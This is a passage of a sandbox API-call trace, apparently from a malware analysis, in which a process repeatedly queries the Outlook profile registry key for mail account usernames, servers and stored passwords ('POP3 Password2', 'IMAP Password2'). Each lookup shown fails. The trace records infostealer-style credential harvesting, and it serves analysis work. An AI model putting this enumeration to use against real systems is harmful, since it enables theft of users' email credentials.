lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.726] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.726] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.727] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.727] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.727] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.727] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.727] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.727] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.727] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.727] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.727] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.727] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.727] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.727] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.727] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.727] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.727] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.727] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.727] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.727] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.727] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.727] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.727] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.727] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.728] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.728] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.728] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.728] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.728] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.728] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.728] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.728] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.728] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.728] RegQueryValueExA (in: hKey=0x1f8, lpValueName="Email", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.728] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.728] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.728] RegQueryValueExA (in: hKey=0x1f8, lpValueName="Email", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.728] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.728] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.728] RegQueryValueExA (in: hKey=0x1f8, lpValueName="Email", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.728] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.728] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.728] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.729] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.729] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.729] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.729] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.729] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.729] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.729] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.729] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.729] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.729] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.729] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.729] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.729] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.729] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.729] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.729] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.729] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.729] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.729] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.729] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.729] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.729] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.730] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.730] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.730] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.730] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.730] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.730] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.730] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.730] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.730] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.730] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.730] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.730] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.730] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.730] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.730] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.730] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.730] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.730] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.730] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.730] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.730] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.731] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.731] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.731] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.731] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.731] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.731] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.731] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.731] RegQueryValueExA (in: hKey=0x1f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.731] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.731] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.731] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.731] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.731] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.731] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.731] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.731] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.731] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.731] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.731] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.731] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.731] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.731] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.732] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.732] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.732] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.732] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.732] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.732] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.732] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.732] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.732] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.732] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.732] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.732] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.732] RegQueryValueExA (in: hKey=0x1f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.732] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.732] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.732] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.732] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.732] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.732] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 